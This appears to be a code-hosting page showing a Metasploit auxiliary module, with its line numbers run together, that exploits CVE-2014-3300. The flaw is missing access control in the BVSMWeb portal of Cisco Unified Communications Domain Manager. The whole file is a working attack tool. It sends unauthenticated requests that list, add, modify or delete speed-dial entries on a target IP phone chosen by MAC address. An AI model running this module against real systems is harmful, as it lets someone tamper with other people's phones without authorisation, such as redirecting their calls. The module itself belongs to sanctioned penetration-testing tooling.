Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/voip/cisco_cucdm_speed_dials.rb
Views: 11779
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'rexml/document'67class MetasploitModule < Msf::Auxiliary8include Msf::Exploit::Remote::HttpClient910def initialize(info={})11super(update_info(info,12'Name' => 'Viproy CUCDM IP Phone XML Services - Speed Dial Attack Tool',13'Description' => %q{14The BVSMWeb portal in the web framework in Cisco Unified Communications Domain Manager15(CDM), before version 10, doesn't implement access control properly, which allows remote16attackers to modify user information. This module exploits the vulnerability to make17unauthorized speed dial entity manipulations.18},19'Author' => 'fozavci',20'References' =>21[22['CVE', '2014-3300'],23['BID', '68331']24],25'License' => MSF_LICENSE,26'Actions' =>27[28[ 'List', { 'Description' => 'Getting the speeddials for the MAC address' } ],29[ 'Modify', { 'Description' => 'Modifying a speeddial for the MAC address' } ],30[ 'Add', { 'Description' => 'Adding a speeddial for the MAC address' } ],31[ 'Delete', { 'Description' => 'Deleting a speeddial for the MAC address' } ]32],33'DefaultAction' => 'List'34))3536register_options(37[38OptString.new('TARGETURI', [ true, 'Target URI for XML services', '/bvsmweb']),39OptString.new('MAC', [ true, 'MAC Address of target phone', '000000000000']),40OptString.new('NAME', [ false, 'Name for Speed Dial', 'viproy']),41OptString.new('POSITION', [ false, 'Position for Speed Dial', '1']),42OptString.new('TELNO', [ false, 'Phone number for Speed Dial', '007']),43])44end4546def run4748case action.name.upcase49when 'MODIFY'50modify51when 'DELETE'52delete53when 'ADD'54add55when 'LIST'56list57end5859end6061def send_rcv(uri, vars_get)62uri = normalize_uri(target_uri.to_s, uri.to_s)63res = send_request_cgi(64{65'uri' => uri,66'method' => 'GET',67'vars_get' => vars_get68})6970if res && res.code == 200 && res.body && res.body.to_s =~ /Speed [D|d]ial/71return Exploit::CheckCode::Vulnerable, res72else73print_error("Target appears not vulnerable!")74return Exploit::CheckCode::Safe, res75end76end7778def parse(res)79doc = REXML::Document.new(res.body)80names = []81phones = []8283list = doc.root.get_elements('DirectoryEntry')84list.each do |lst|85xlist = lst.get_elements('Name')86xlist.each {|l| names << "#{l[0]}"}87xlist = lst.get_elements('Telephone')88xlist.each {|l| phones << "#{l[0]}" }89end9091if names.size > 092names.size.times do |i|93info = ''94info << "Position: #{names[i].split(":")[0]}, "95info << "Name: #{names[i].split(":")[1]}, "96info << "Telephone: #{phones[i]}"9798print_good("#{info}")99end100else101print_status("No Speed Dial detected")102end103end104105def list106mac = datastore['MAC']107108print_status("Getting Speed Dials of the IP phone")109vars_get = {110'device' => "SEP#{mac}"111}112113status, res = send_rcv('speeddials.cgi', vars_get)114parse(res) unless status == Exploit::CheckCode::Safe115end116117def add118mac = datastore['MAC']119name = datastore['NAME']120position = datastore['POSITION']121telno = datastore['TELNO']122123print_status("Adding Speed Dial to the IP phone")124vars_get = {125'name' => "#{name}",126'telno' => "#{telno}",127'device' => "SEP#{mac}",128'entry' => "#{position}",129'mac' => "#{mac}"130}131status, res = send_rcv('phonespeedialadd.cgi', vars_get)132133if status == Exploit::CheckCode::Vulnerable && res && res.body && res.body.to_s =~ /Added/134print_good("Speed Dial #{position} is added successfully")135elsif res && res.body && res.body.to_s =~ /exist/136print_error("Speed Dial is exist, change the position or choose modify!")137else138print_error("Speed Dial couldn't add!")139end140end141142def delete143mac = datastore['MAC']144position = datastore['POSITION']145146print_status("Deleting Speed Dial of the IP phone")147148vars_get = {149'entry' => "#{position}",150'device' => "SEP#{mac}"151}152153status, res = send_rcv('phonespeeddialdelete.cgi', vars_get)154155if status == Exploit::CheckCode::Vulnerable && res && res.body && res.body.to_s =~ /Deleted/156print_good("Speed Dial #{position} is deleted successfully")157else158print_error("Speed Dial is not found!")159end160end161162def modify163mac = datastore['MAC']164name = datastore['NAME']165position = datastore['POSITION']166telno = datastore['TELNO']167168print_status("Deleting Speed Dial of the IP phone")169170vars_get = {171'entry' => "#{position}",172'device' => "SEP#{mac}"173}174175status, res = send_rcv('phonespeeddialdelete.cgi', vars_get)176177if status == Exploit::CheckCode::Vulnerable && res && res.body && res.body.to_s =~ /Deleted/178print_good("Speed Dial #{position} is deleted successfully")179print_status("Adding Speed Dial to the IP phone")180181vars_get = {182'name' => "#{name}",183'telno' => "#{telno}",184'device' => "SEP#{mac}",185'entry' => "#{position}",186'mac' => "#{mac}"187}188189status, res = send_rcv('phonespeedialadd.cgi', vars_get)190191if status == Exploit::CheckCode::Vulnerable && res && res.body && res.body.to_s =~ /Added/192print_good("Speed Dial #{position} is added successfully")193elsif res && res.body =~ /exist/194print_error("Speed Dial is exist, change the position or choose modify!")195else196print_error("Speed Dial couldn't add!")197end198else199print_error("Speed Dial is not found!")200end201end202end203204205